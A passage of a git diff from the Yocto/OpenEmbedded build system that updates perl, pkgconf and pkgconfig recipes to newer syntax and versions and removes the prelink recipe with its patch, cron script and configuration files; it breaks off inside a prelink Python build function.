+ test -e packages-split.new && rm -rf packages-split.new
+ cp -r packages-split packages-split.new && cd packages-split.new
+ find . -name \*.pm | xargs sed -i '/^=head/,/^=cut/d'
+ egrep -r "^\s*(\<use .*|\<require .*);?" perl-module-* --include="*.pm" | \
+ sed "s/\/.*\.pm: */ += /g;s/[\"\']//g;s/;.*/\"/g;s/+= .*\(require\|use\)\> */+= \"perl-module-/g;s/CPANPLUS::.*/cpanplus/g;s/CPAN::.*/cpan/g;s/::/-/g;s/ [^+\"].*//g;s/_/-/g;s/\.pl\"$/\"/;s/\"\?\$/\"/;s/(//;s/)//;" | tr [:upper:] [:lower:] | \
+ awk '{if ($3 != "\x22"$1"\x22"){ print $0}}'| \
+ grep -v -e "\-vms\-" -e module-5 -e "^$" -e "\\$" -e your -e tk -e autoperl -e html -e http -e parse-cpan -e perl-ostype -e ndbm-file -e module-mac -e fcgi -e lwp -e dbd -e dbix | \
+ sort -u | \
+ sed 's/^/RDEPENDS:/;s/perl-module-/${PN}-module-/g;s/module-\(module-\)/\1/g;s/\(module-load\)-conditional/\1/g;s/encode-configlocal/&-pm/;' | \
+ egrep -wv '=>|module-a|module-apache.?|module-apr|module-authen-sasl|module-b-asmdata|module-convert-ebcdic|module-devel-size|module-digest-perl-md5|module-dumpvalue|module-extutils-constant-aaargh56hash|module-extutils-xssymset|module-file-bsdglob|module-for|module-it|module-io-socket-inet6|module-io-socket-ssl|module-io-string|module-ipc-system-simple|module-lexical|module-local-lib|metadata|module-modperl-util|module-pluggable-object|module-test-builder-io-scalar|module-text-unidecode|module-unicore|module-win32|objects\sload|syscall.ph|systeminfo.ph|%s' | \
+ egrep -wv '=>|module-algorithm-diff|module-carp|module-c<extutils-mm-unix>|module-l<extutils-mm-unix>|module-encode-hanextra|module-extutils-makemaker-version-regex|module-file-spec|module-io-compress-lzma|module-io-uncompress-unxz|module-locale-maketext-lexicon|module-log-agent|module-meta-notation|module-net-localcfg|module-net-ping-external|module-b-deparse|module-scalar-util|module-some-module|module-symbol|module-uri|module-win32api-file' > ${WORKDIR}/perl-rdepends.generated
+ cat ${WORKDIR}/perl-rdepends.inc ${WORKDIR}/perl-rdepends.generated > ${THISDIR}/files/perl-rdepends.txt
+}
+
+# bitbake perl -c create_rdepends_inc
+addtask do_create_rdepends_inc
+
+SYSROOT_PREPROCESS_FUNCS += "perl_sysroot_create_wrapper"
+
+perl_sysroot_create_wrapper () {
+ mkdir -p ${SYSROOT_DESTDIR}${bindir}
+ # Create a wrapper that /usr/bin/env perl will use to get perl-native.
+ # This MUST live in the normal bindir.
+ cat > ${SYSROOT_DESTDIR}${bindir}/nativeperl << EOF
+#!/bin/sh
+realpath=\`readlink -fn \$0\`
+exec \`dirname \$realpath\`/perl-native/perl "\$@"
+EOF
+ chmod 0755 ${SYSROOT_DESTDIR}${bindir}/nativeperl
+ cat ${SYSROOT_DESTDIR}${bindir}/nativeperl
+}
+
+SSTATE_HASHEQUIV_FILEMAP = " \
+ populate_sysroot:*/lib*/perl5/*/*/Config_heavy.pl:${TMPDIR} \
+ populate_sysroot:*/lib*/perl5/*/*/Config_heavy.pl:${COREBASE} \
+ populate_sysroot:*/lib*/perl5/config.sh:${TMPDIR} \
+ populate_sysroot:*/lib*/perl5/config.sh:${COREBASE} \
+ "
diff --git a/meta/recipes-devtools/pkgconf/pkgconf_1.7.3.bb b/meta/recipes-devtools/pkgconf/pkgconf_1.7.3.bb
deleted file mode 100644
index 12496c3849..0000000000
--- a/meta/recipes-devtools/pkgconf/pkgconf_1.7.3.bb
+++ /dev/null
@@ -1,67 +0,0 @@
-SUMMARY = "pkgconf provides compiler and linker configuration for development frameworks."
-DESCRIPTION = "pkgconf is a program which helps to configure compiler and linker \
-flags for development frameworks. It is similar to pkg-config from \
-freedesktop.org, providing additional functionality while also maintaining \
-compatibility."
-HOMEPAGE = "http://pkgconf.org"
-BUGTRACKER = "https://github.com/pkgconf/pkgconf/issues"
-SECTION = "devel"
-PROVIDES += "pkgconfig"
-RPROVIDES_${PN} += "pkgconfig"
-
-# The pkgconf license seems to be functionally equivalent to BSD-2-Clause or
-# ISC, but has different wording, so needs its own name.
-LICENSE = "pkgconf"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2214222ec1a820bd6cc75167a56925e0"
-
-SRC_URI = "\
- https://distfiles.dereferenced.org/pkgconf/pkgconf-${PV}.tar.xz \
- file://pkg-config-wrapper \
- file://pkg-config-native.in \
- file://pkg-config-esdk.in \
-"
-SRC_URI[sha256sum] = "b846aea51cf696c3392a0ae58bef93e2e72f8e7073ca6ad1ed8b01c85871f9c0"
-
-inherit autotools
-
-EXTRA_OECONF += "--with-pkg-config-dir='${libdir}/pkgconfig:${datadir}/pkgconfig'"
-
-do_install_append () {
- # Install a wrapper which deals, as much as possible with pkgconf vs
- # pkg-config compatibility issues.
- install -m 0755 "${WORKDIR}/pkg-config-wrapper" "${D}${bindir}/pkg-config"
-}
-
-do_install_append_class-native () {
- # Install a pkg-config-native wrapper that will use the native sysroot instead
- # of the MACHINE sysroot, for using pkg-config when building native tools.
- sed -e "s|@PATH_NATIVE@|${PKG_CONFIG_PATH}|" \
- < ${WORKDIR}/pkg-config-native.in > ${B}/pkg-config-native
- install -m755 ${B}/pkg-config-native ${D}${bindir}/pkg-config-native
- sed -e "s|@PATH_NATIVE@|${PKG_CONFIG_PATH}|" \
- -e "s|@LIBDIR_NATIVE@|${PKG_CONFIG_LIBDIR}|" \
- < ${WORKDIR}/pkg-config-esdk.in > ${B}/pkg-config-esdk
- install -m755 ${B}/pkg-config-esdk ${D}${bindir}/pkg-config-esdk
-}
-
-# When using the RPM generated automatic package dependencies, some packages
-# will end up requiring 'pkgconfig(pkg-config)'. Allow this behavior by
-# specifying an appropriate provide.
-RPROVIDES_${PN} += "pkgconfig(pkg-config)"
-
-# Include pkg.m4 in the main package, leaving libpkgconf dev files in -dev
-FILES_${PN}-dev_remove = "${datadir}/aclocal"
-FILES_${PN} += "${datadir}/aclocal"
-
-BBCLASSEXTEND += "native nativesdk"
-
-pkgconf_sstate_fixup_esdk () {
- if [ "${BB_CURRENTTASK}" = "populate_sysroot_setscene" -a "${WITHIN_EXT_SDK}" = "1" ] ; then
- pkgconfdir="${SSTATE_INSTDIR}/recipe-sysroot-native/${bindir_native}"
- mv $pkgconfdir/pkg-config $pkgconfdir/pkg-config.real
- lnr $pkgconfdir/pkg-config-esdk $pkgconfdir/pkg-config
- sed -i -e "s|^pkg-config|pkg-config.real|" $pkgconfdir/pkg-config-native
- fi
-}
-
-SSTATEPOSTUNPACKFUNCS_append_class-native = " pkgconf_sstate_fixup_esdk"
diff --git a/meta/recipes-devtools/pkgconf/pkgconf_2.2.0.bb b/meta/recipes-devtools/pkgconf/pkgconf_2.2.0.bb
new file mode 100644
index 0000000000..e98458ea55
--- /dev/null
+++ b/meta/recipes-devtools/pkgconf/pkgconf_2.2.0.bb
@@ -0,0 +1,67 @@
+SUMMARY = "pkgconf provides compiler and linker configuration for development frameworks."
+DESCRIPTION = "pkgconf is a program which helps to configure compiler and linker \
+flags for development frameworks. It is similar to pkg-config from \
+freedesktop.org, providing additional functionality while also maintaining \
+compatibility."
+HOMEPAGE = "http://pkgconf.org"
+BUGTRACKER = "https://github.com/pkgconf/pkgconf/issues"
+SECTION = "devel"
+PROVIDES += "pkgconfig"
+RPROVIDES:${PN} += "pkgconfig"
+
+# The pkgconf license seems to be functionally equivalent to BSD-2-Clause or
+# ISC, but has different wording, so needs its own name.
+LICENSE = "pkgconf"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2214222ec1a820bd6cc75167a56925e0"
+
+SRC_URI = "\
+ https://distfiles.ariadne.space/pkgconf/pkgconf-${PV}.tar.xz \
+ file://pkg-config-wrapper \
+ file://pkg-config-native.in \
+ file://pkg-config-esdk.in \
+"
+SRC_URI[sha256sum] = "b06ff63a83536aa8c2f6422fa80ad45e4833f590266feb14eaddfe1d4c853c69"
+
+inherit autotools
+
+EXTRA_OECONF += "--with-pkg-config-dir='${libdir}/pkgconfig:${datadir}/pkgconfig'"
+
+do_install:append () {
+ # Install a wrapper which deals, as much as possible with pkgconf vs
+ # pkg-config compatibility issues.
+ install -m 0755 "${WORKDIR}/pkg-config-wrapper" "${D}${bindir}/pkg-config"
+}
+
+do_install:append:class-native () {
+ # Install a pkg-config-native wrapper that will use the native sysroot instead
+ # of the MACHINE sysroot, for using pkg-config when building native tools.
+ sed -e "s|@PATH_NATIVE@|${PKG_CONFIG_PATH}|" \
+ < ${WORKDIR}/pkg-config-native.in > ${B}/pkg-config-native
+ install -m755 ${B}/pkg-config-native ${D}${bindir}/pkg-config-native
+ sed -e "s|@PATH_NATIVE@|${PKG_CONFIG_PATH}|" \
+ -e "s|@LIBDIR_NATIVE@|${PKG_CONFIG_LIBDIR}|" \
+ < ${WORKDIR}/pkg-config-esdk.in > ${B}/pkg-config-esdk
+ install -m755 ${B}/pkg-config-esdk ${D}${bindir}/pkg-config-esdk
+}
+
+# When using the RPM generated automatic package dependencies, some packages
+# will end up requiring 'pkgconfig(pkg-config)'. Allow this behavior by
+# specifying an appropriate provide.
+RPROVIDES:${PN} += "pkgconfig(pkg-config)"
+
+# Include pkg.m4 in the main package, leaving libpkgconf dev files in -dev
+FILES:${PN}-dev:remove = "${datadir}/aclocal"
+FILES:${PN} += "${datadir}/aclocal"
+
+BBCLASSEXTEND += "native nativesdk"
+
+pkgconf_sstate_fixup_esdk () {
+ if [ "${BB_CURRENTTASK}" = "populate_sysroot_setscene" -a "${WITHIN_EXT_SDK}" = "1" ] ; then
+ pkgconfdir="${SSTATE_INSTDIR}/recipe-sysroot-native/${bindir_native}"
+ mv $pkgconfdir/pkg-config $pkgconfdir/pkg-config.real
+ ln -rs $pkgconfdir/pkg-config-esdk $pkgconfdir/pkg-config
+ sed -i -e "s|^pkg-config|pkg-config.real|" $pkgconfdir/pkg-config-native
+ fi
+}
+
+SSTATEPOSTUNPACKFUNCS:append:class-native = " pkgconf_sstate_fixup_esdk"
diff --git a/meta/recipes-devtools/pkgconfig/pkgconfig/fix-glib-configure-libtool-usage.patch b/meta/recipes-devtools/pkgconfig/pkgconfig/fix-glib-configure-libtool-usage.patch
deleted file mode 100644
index 01c62472c1..0000000000
--- a/meta/recipes-devtools/pkgconfig/pkgconfig/fix-glib-configure-libtool-usage.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-
-
-Index: pkg-config-0.28/glib/configure.ac
-===================================================================
---- pkg-config-0.28.orig/glib/configure.ac
-+++ pkg-config-0.28/glib/configure.ac
-@@ -1438,7 +1438,7 @@ if test x"$glib_native_win32" = xyes; th
- G_MODULE_LDFLAGS=
- else
- export SED
-- G_MODULE_LDFLAGS=`(./libtool --config; echo eval echo \\$export_dynamic_flag_spec) | sh`
-+ G_MODULE_LDFLAGS=`(./${host_alias}-libtool --config; echo eval echo \\$export_dynamic_flag_spec) | sh`
- fi
- dnl G_MODULE_IMPL= don't reset, so cmd-line can override
- G_MODULE_NEED_USCORE=0
-@@ -1503,13 +1503,13 @@ if test "$G_MODULE_IMPL" = "G_MODULE_IMP
- LDFLAGS="$LDFLAGS $G_MODULE_LDFLAGS"
- dnl *** check for OSF1/5.0 RTLD_GLOBAL brokenness
- echo "void glib_plugin_test(void) { }" > plugin.c
-- ${SHELL} ./libtool --mode=compile --tag=CC ${CC} ${CFLAGS} \
-+ ${SHELL} ./${host_alias}-libtool --mode=compile --tag=CC ${CC} ${CFLAGS} \
- ${CPPFLAGS} -c -o plugin.lo plugin.c >/dev/null 2>&1
-- ${SHELL} ./libtool --mode=link --tag=CC ${CC} ${CFLAGS} \
-+ ${SHELL} ./${host_alias}-libtool --mode=link --tag=CC ${CC} ${CFLAGS} \
- ${LDFLAGS} -module -o plugin.la -export-dynamic \
- -shrext ".o" -avoid-version plugin.lo \
- -rpath /dont/care >/dev/null 2>&1
-- eval `./libtool --config | grep ^objdir`
-+ eval `./${host_alias}-libtool --config | grep ^objdir`
- AC_CACHE_CHECK([for RTLD_GLOBAL brokenness],
- glib_cv_rtldglobal_broken,[
- AC_TRY_RUN([
-@@ -1582,7 +1582,7 @@ fi
-
- AC_MSG_CHECKING(for the suffix of module shared libraries)
- export SED
--shrext_cmds=`./libtool --config | grep '^shrext_cmds='`
-+shrext_cmds=`./${host_alias}-libtool --config | grep '^shrext_cmds='`
- eval $shrext_cmds
- module=yes eval std_shrext=$shrext_cmds
- # chop the initial dot
diff --git a/meta/recipes-devtools/pkgconfig/pkgconfig_git.bb b/meta/recipes-devtools/pkgconfig/pkgconfig_git.bb
index 52ef2a9779..16e6c5b609 100644
--- a/meta/recipes-devtools/pkgconfig/pkgconfig_git.bb
+++ b/meta/recipes-devtools/pkgconfig/pkgconfig_git.bb
@@ -5,16 +5,15 @@ HOMEPAGE = "http://pkg-config.freedesktop.org/wiki/"
BUGTRACKER = "http://bugs.freedesktop.org/buglist.cgi?product=pkg-config"
SECTION = "console/utils"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-SRCREV = "edf8e6f0ea77ede073f07bff0d2ae1fc7a38103b"
-PV = "0.29.2+git${SRCPV}"
+SRCREV = "d97db4fae4c1cd099b506970b285dc2afd818ea2"
+PV = "0.29.2+git"
-SRC_URI = "git://anongit.freedesktop.org/pkg-config \
+SRC_URI = "git://gitlab.freedesktop.org/pkg-config/pkg-config.git;branch=master;protocol=https \
file://pkg-config-esdk.in \
file://pkg-config-native.in \
- file://fix-glib-configure-libtool-usage.patch \
file://0001-glib-gettext.m4-Update-AM_GLIB_GNU_GETTEXT-to-match-.patch \
"
@@ -28,8 +27,7 @@ inherit autotools
EXTRA_OECONF += "--disable-indirect-deps"
PACKAGECONFIG ??= "glib"
-PACKAGECONFIG_class-native = ""
-PACKAGECONFIG_class-nativesdk = ""
+PACKAGECONFIG:class-native = ""
PACKAGECONFIG[glib] = "--without-internal-glib,--with-internal-glib,glib-2.0 pkgconfig-native"
@@ -40,17 +38,17 @@ BBCLASSEXTEND = "native nativesdk"
# Set an empty dev package to ensure the base PN package gets
# the pkg.m4 macros, pkgconfig does not deliver any other -dev
# files.
-FILES_${PN}-dev = ""
-FILES_${PN} += "${datadir}/aclocal/pkg.m4"
+FILES:${PN}-dev = ""
+FILES:${PN} += "${datadir}/aclocal/pkg.m4"
# When using the RPM generated automatic package dependencies, some packages
# will end up requiring 'pkgconfig(pkg-config)'. Allow this behavior by
# specifying an appropriate provide.
-RPROVIDES_${PN} += "pkgconfig(pkg-config)"
+RPROVIDES:${PN} += "pkgconfig(pkg-config)"
# Install a pkg-config-native wrapper that will use the native sysroot instead
# of the MACHINE sysroot, for using pkg-config when building native tools.
-do_install_append_class-native () {
+do_install:append:class-native () {
sed -e "s|@PATH_NATIVE@|${PKG_CONFIG_PATH}|" \
-e "s|@LIBDIR_NATIVE@|${PKG_CONFIG_LIBDIR}|" \
< ${WORKDIR}/pkg-config-native.in > ${B}/pkg-config-native
@@ -65,9 +63,9 @@ pkgconfig_sstate_fixup_esdk () {
if [ "${BB_CURRENTTASK}" = "populate_sysroot_setscene" -a "${WITHIN_EXT_SDK}" = "1" ] ; then
pkgconfdir="${SSTATE_INSTDIR}/recipe-sysroot-native/${bindir_native}"
mv $pkgconfdir/pkg-config $pkgconfdir/pkg-config.real
- lnr $pkgconfdir/pkg-config-esdk $pkgconfdir/pkg-config
+ ln -rs $pkgconfdir/pkg-config-esdk $pkgconfdir/pkg-config
sed -i -e "s|^pkg-config|pkg-config.real|" $pkgconfdir/pkg-config-native
fi
}
-SSTATEPOSTUNPACKFUNCS_append_class-native = " pkgconfig_sstate_fixup_esdk"
+SSTATEPOSTUNPACKFUNCS:append:class-native = " pkgconfig_sstate_fixup_esdk"
diff --git a/meta/recipes-devtools/prelink/prelink/0001-Add-MIPS-gnu-hash-support.patch b/meta/recipes-devtools/prelink/prelink/0001-Add-MIPS-gnu-hash-support.patch
deleted file mode 100644
index da0275bfcd..0000000000
--- a/meta/recipes-devtools/prelink/prelink/0001-Add-MIPS-gnu-hash-support.patch
+++ /dev/null
@@ -1,110 +0,0 @@
-From 05240e13668422c4f9118f2cde953ec875d0d68f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 14 Jan 2020 01:37:22 -0800
-Subject: [PATCH] Add MIPS gnu hash support
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/arch-mips.c | 1 +
- src/prelink.c | 1 +
- src/prelink.h | 5 +++++
- 3 files changed, 7 insertions(+)
-
---- a/src/arch-mips.c
-+++ b/src/arch-mips.c
-@@ -324,6 +324,7 @@ mips_adjust_dyn (DSO *dso, int n, GElf_D
- case DT_MIPS_BASE_ADDRESS:
- case DT_MIPS_RLD_MAP:
- case DT_MIPS_OPTIONS:
-+ case DT_MIPS_XHASH:
- if (dyn->d_un.d_ptr >= start)
- dyn->d_un.d_ptr += adjust;
- return 1;
---- a/src/prelink.c
-+++ b/src/prelink.c
-@@ -425,6 +425,7 @@ prelink_prepare (DSO *dso)
- {
- case SHT_HASH:
- case SHT_GNU_HASH:
-+ case SHT_MIPS_XHASH:
- case SHT_DYNSYM:
- case SHT_REL:
- case SHT_RELA:
---- a/src/prelink.h
-+++ b/src/prelink.h
-@@ -114,6 +114,11 @@ typedef uint8_t Elf64_Byte;
- #define SHT_MIPS_ABIFLAGS 0x7000002a
- #endif
-
-+#ifndef SHT_MIPS_XHASH
-+#define DT_MIPS_XHASH 0x70000036
-+#define SHT_MIPS_XHASH 0x7000002b
-+#endif
-+
- #ifndef RSS_UNDEF
- #define RSS_UNDEF 0
- #endif
---- a/src/dso.c
-+++ b/src/dso.c
-@@ -109,6 +109,11 @@ read_dynamic (DSO *dso)
- dso->info_DT_GNU_HASH = dyn.d_un.d_val;
- dso->info_set_mask |= (1ULL << DT_GNU_HASH_BIT);
- }
-+ else if (dyn.d_tag == DT_MIPS_XHASH)
-+ {
-+ dso->info_DT_GNU_HASH = dyn.d_un.d_val;
-+ dso->info_set_mask |= (1ULL << DT_GNU_HASH_BIT);
-+ }
- else if (dyn.d_tag == DT_TLSDESC_PLT)
- {
- dso->info_DT_TLSDESC_PLT = dyn.d_un.d_val;
-@@ -1463,6 +1468,7 @@ adjust_dso (DSO *dso, GElf_Addr start, G
- break;
- case SHT_HASH:
- case SHT_GNU_HASH:
-+ case SHT_MIPS_XHASH:
- case SHT_NOBITS:
- case SHT_STRTAB:
- break;
---- a/src/space.c
-+++ b/src/space.c
-@@ -61,6 +61,7 @@ print_sections (DSO *dso, GElf_Ehdr *ehd
- { SHT_GNU_versym, "VERSYM" },
- { SHT_GNU_LIBLIST, "LIBLIST" },
- { SHT_GNU_HASH, "GNU_HASH" },
-+ { SHT_MIPS_XHASH, "MIPS_XHASH" },
- { 0, NULL }
- };
-
-@@ -183,6 +184,7 @@ readonly_is_movable (DSO *dso, GElf_Ehdr
- {
- case SHT_HASH:
- case SHT_GNU_HASH:
-+ case SHT_MIPS_XHASH:
- case SHT_DYNSYM:
- case SHT_REL:
- case SHT_RELA:
-@@ -558,6 +560,7 @@ find_readonly_space (DSO *dso, GElf_Shdr
- {
- case SHT_HASH:
- case SHT_GNU_HASH:
-+ case SHT_MIPS_XHASH:
- case SHT_DYNSYM:
- case SHT_STRTAB:
- case SHT_GNU_verdef:
---- a/src/exec.c
-+++ b/src/exec.c
-@@ -65,7 +65,11 @@ update_dynamic_tags (DSO *dso, GElf_Shdr
- || (dynamic_info_is_set (dso, DT_GNU_HASH_BIT)
- && dso->info_DT_GNU_HASH == old_shdr[j].sh_addr
- && old_shdr[j].sh_type == SHT_GNU_HASH
-- && set_dynamic (dso, DT_GNU_HASH, shdr[i].sh_addr, 1)))
-+ && set_dynamic (dso, DT_GNU_HASH, shdr[i].sh_addr, 1))
-+ || (dynamic_info_is_set (dso, DT_GNU_HASH_BIT)
-+ && dso->info_DT_GNU_HASH == old_shdr[j].sh_addr
-+ && old_shdr[j].sh_type == SHT_MIPS_XHASH
-+ && set_dynamic (dso, DT_MIPS_XHASH, shdr[i].sh_addr, 1)))
- return 1;
- }
-
diff --git a/meta/recipes-devtools/prelink/prelink/macros.prelink b/meta/recipes-devtools/prelink/prelink/macros.prelink
deleted file mode 100644
index cb16695885..0000000000
--- a/meta/recipes-devtools/prelink/prelink/macros.prelink
+++ /dev/null
@@ -1,5 +0,0 @@
-# rpm-4.1 verifies prelinked libraries using a prelink undo helper.
-# Note: The 2nd token is used as argv[0] and "library" is a
-# placeholder that will be deleted and replaced with the appropriate
-# library file path.
-%__prelink_undo_cmd /usr/sbin/prelink prelink -y library
diff --git a/meta/recipes-devtools/prelink/prelink/prelink.conf b/meta/recipes-devtools/prelink/prelink/prelink.conf
deleted file mode 100644
index 562f23c59d..0000000000
--- a/meta/recipes-devtools/prelink/prelink/prelink.conf
+++ /dev/null
@@ -1,18 +0,0 @@
-# This config file contains a list of directories both with binaries
-# and libraries prelink should consider by default.
-# If a directory name is prefixed with `-l ', the directory hierarchy
-# will be walked as long as filesystem boundaries are not crossed.
-# If a directory name is prefixed with `-h ', symbolic links in a
-# directory hierarchy are followed.
--l /usr/local/sbin
--l /sbin
--l /usr/sbin
--l /usr/local/bin
--l /bin
--l /usr/bin
--l /usr/X11R6/bin
--l /usr/games
--l /usr/local/lib{,32,64,x32}
--l /lib{,32,64,x32}
--l /usr/lib{,32,64,x32}
--l /usr/X11R6/lib{,32,64,x32}
diff --git a/meta/recipes-devtools/prelink/prelink/prelink.cron.daily b/meta/recipes-devtools/prelink/prelink/prelink.cron.daily
deleted file mode 100644
index 0b3c07322c..0000000000
--- a/meta/recipes-devtools/prelink/prelink/prelink.cron.daily
+++ /dev/null
@@ -1,40 +0,0 @@
-#!/bin/sh
-
-. /etc/default/prelink
-
-renice +19 -p $$ >/dev/null 2>&1
-
-if [ "$PRELINKING" != yes ]; then
- if [ -f /etc/prelink.cache ]; then
- echo /usr/sbin/prelink -uav > /var/log/prelink.log
- /usr/sbin/prelink -uav >> /var/log/prelink.log 2>&1
- rm -f /etc/prelink.cache
- # Restart init if needed
- [ -n "$(find `ldd /sbin/init | awk '{ print $3 }'` /sbin/init -ctime -1 2>/dev/null )" ] && /sbin/telinit u
- fi
- exit 0
-fi
-
-if [ ! -f /etc/prelink.cache -o -f /var/lib/misc/prelink.force ] \
- || grep -q '^prelink-ELF0.[0-2]' /etc/prelink.cache; then
- # If cache does not exist or is from older prelink versions or
- # if we were asked to explicitely, force full prelinking
- rm -f /etc/prelink.cache /var/lib/misc/prelink.force
- PRELINK_OPTS="$PRELINK_OPTS -f"
- date > /var/lib/misc/prelink.full
-elif [ -n "$PRELINK_FULL_TIME_INTERVAL" \
- -a "`find /var/lib/misc/prelink.full -mtime -${PRELINK_FULL_TIME_INTERVAL} 2>/dev/null`" \
- = /var/lib/misc/prelink.full ]; then
- # If prelink without -q has been run in the last
- # PRELINK_FULL_TIME_INTERVAL days, just use quick mode
- PRELINK_OPTS="$PRELINK_OPTS -q"
-else
- date > /var/lib/misc/prelink.full
-fi
-
-echo /usr/sbin/prelink -av $PRELINK_OPTS > /var/log/prelink.log
-/usr/sbin/prelink -av $PRELINK_OPTS >> /var/log/prelink.log 2>&1
-# Restart init if needed
-[ -n "$(find `ldd /sbin/init | awk '{ print $3 }'` /sbin/init -ctime -1 2>/dev/null )" ] && /sbin/telinit u
-
-exit 0
diff --git a/meta/recipes-devtools/prelink/prelink/prelink.default b/meta/recipes-devtools/prelink/prelink/prelink.default
deleted file mode 100644
index d8802f820a..0000000000
--- a/meta/recipes-devtools/prelink/prelink/prelink.default
+++ /dev/null
@@ -1,22 +0,0 @@
-# Set this to no to disable prelinking altogether
-# or to yes to enable it.
-# (if you change this from yes to no prelink -ua
-# will be run next night to undo prelinking)
-PRELINKING=yes
-
-# Options to pass to prelink
-# -m Try to conserve virtual memory by allowing overlapping
-# assigned virtual memory slots for libraries which
-# never appear together in one binary
-# -R Randomize virtual memory slot assignments for libraries.
-# This makes it slightly harder for various buffer overflow
-# attacks, since library addresses will be different on each
-# host using -R.
-PRELINK_OPTS=-mR
-
-# How often should full prelink be run (in days)
-# Normally, prelink will be run in quick mode, every
-# $PRELINK_FULL_TIME_INTERVAL days it will be run
-# in normal mode. Comment this line out if prelink
-# should be run in normal mode always.
-PRELINK_FULL_TIME_INTERVAL=14
diff --git a/meta/recipes-devtools/prelink/prelink_git.bb b/meta/recipes-devtools/prelink/prelink_git.bb
deleted file mode 100644
index e197af9ee9..0000000000
--- a/meta/recipes-devtools/prelink/prelink_git.bb
+++ /dev/null
@@ -1,183 +0,0 @@
-SECTION = "devel"
-# Need binutils for libiberty.a
-# Would need transfig-native for documentation if it wasn't disabled
-DEPENDS = "elfutils binutils"
-SUMMARY = "An ELF prelinking utility"
-HOMEPAGE = "http://git.yoctoproject.org/cgit.cgi/prelink-cross/about/"
-DESCRIPTION = "The prelink package contains a utility which modifies ELF shared libraries \
-and executables, so that far fewer relocations need to be resolved at \
-runtime and thus programs come up faster."
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c93c0550bd3173f4504b2cbd8991e50b"
-SRCREV = "f9975537dbfd9ade0fc813bd5cf5fcbe41753a37"
-PV = "1.0+git${SRCPV}"
-
-#
-# The cron script attempts to re-prelink the system daily -- on
-# systems where users are adding applications, this might be reasonable
-# but for embedded, we should be re-running prelink -a after an update.
-#
-# Default is prelinking is enabled.
-#
-SUMMARY_${PN}-cron = "Cron scripts to control automatic prelinking"
-DESCRIPTION_${PN}-cron = "Cron scripts to control automatic prelinking. \
-See: ${sysconfdir}/cron.daily/prelink for configuration information."
-
-FILES_${PN}-cron = "${sysconfdir}/cron.daily ${sysconfdir}/default"
-
-PACKAGES =+ "${PN}-cron"
-
-SRC_URI = "git://git.yoctoproject.org/prelink-cross.git;branch=cross_prelink_staging \
- file://0001-Add-MIPS-gnu-hash-support.patch \
- file://prelink.conf \
- file://prelink.cron.daily \
- file://prelink.default \
- file://macros.prelink \
- "
-UPSTREAM_CHECK_COMMITS = "1"
-
-# error: error.h: No such file or directory
-COMPATIBLE_HOST_libc-musl = 'null'
-
-TARGET_OS_ORIG := "${TARGET_OS}"
-OVERRIDES_append = ":${TARGET_OS_ORIG}"
-
-S = "${WORKDIR}/git"
-
-inherit autotools
-
-BBCLASSEXTEND = "native"
-
-EXTRA_OECONF = "--disable-selinux --with-pkgversion=${PV}-${PR} \
- --with-bugurl=http://bugzilla.yoctoproject.org/"
-
-
-#
-# For target prelink we need to ensure paths match the lib path layout
-# including for any configured multilibs
-#
-python do_linkerpaths () {
- values = all_multilib_tune_list(["TUNE_ARCH", "baselib", "ABIEXTENSION"], d)
-
- arches = values["TUNE_ARCH"]
- baselibs = values["baselib"]
- abis = values["ABIEXTENSION"]
-
- def replace_lines(f, search, replacement, d, firstonly = False, secondonly = False):
- f = d.expand(f)
- if search == replacement:
- return
- bb.debug(2, "Replacing %s with %s in %s" % (search, replacement, f))
- with open(f, "r") as data:
- lines = data.readlines()
- with open(f, "w") as data:
- for line in lines:
- if not secondonly and not firstonly:
- line = line.replace(search, replacement)
- elif secondonly and search in line:
- secondonly = False
- elif firstonly and search and search in line:
- line = line.replace(search, replacement)
- search = None
- data.write(line)
-
- def replace_lines_rtld(f, search, replacement, section, d):
- f = d.expand(f)
- bb.debug(2, "Replacing %s with %s in %s" % (search, replacement, f))
- with open(f, "r") as data:
- lines = data.readlines()
- found = False
- found2 = False
- with open(f, "w") as data:
- for line in lines:
- if section in line:
- if section == "else" and "if" in line:
- found = False
- else:
- found = True
- if found and "dst_LIB =" in line:
- found2 = True
- elif "}" in line:
- found = False
- found2 = False
- if found2:
- line = line.replace(search, replacement)
- data.write(line)
-
- for i, arch in enumerate(arches):
- tune_baselib = baselibs[i]
- abi = abis[i]
-
- bits = 32
- if arch == "powerpc":
- replace_lines("${S}/src/arch-ppc.c", "/lib/ld.so.1", "/" + tune_baselib + "/ld.so.1", d)
- elif arch == "powerpc64":
- replace_lines("${S}/src/arch-ppc64.c", "/lib64/ld64.so.1", "/" + tune_baselib + "/ld64.so.1", d)
- bits = 64
- elif arch == "x86_64":
- if abi == "x32":
- replace_lines("${S}/src/arch-x86_64.c", "/libx32/ld-linux-x32.so.2", "/" + tune_baselib + "/ld-linux-x32.so.2", d)
- else:
- replace_lines("${S}/src/arch-x86_64.c", "/lib64/ld-linux-x86-64.so.2", "/" + tune_baselib + "/ld-linux-x86-64.so.2", d)
- bits = 64
- elif arch == "arm":
- replace_lines("${S}/src/arch-arm.c", "/lib/ld-linux.so.3", "/" + tune_baselib + "/ld-linux.so.3", d)
- replace_lines("${S}/src/arch-arm.c", "/lib/ld-linux-armhf.so.3", "/" + tune_baselib + "/ld-linux-armhf.so.3", d)
- elif arch == "mips" or arch == "mipsel":
- replace_lines("${S}/src/arch-mips.c", "/lib/ld.so.1", "/" + tune_baselib + "/ld.so.1", d, firstonly=True)
- replace_lines("${S}/src/arch-mips.c", "/lib32/ld.so.1", "/" + tune_baselib + "/ld.so.1", d)
- elif arch == "mips64" or arch == "mips64el":
- replace_lines("${S}/src/arch-mips.c", "/lib/ld.so.1", "/" + tune_baselib + "/ld.so.1", d, secondonly=True)
- replace_lines("${S}/src/arch-mips.c", "/lib64/ld.so.1", "/" + tune_baselib + "/ld.so.1", d)
- bits = 64
- elif arch.endswith("86"):
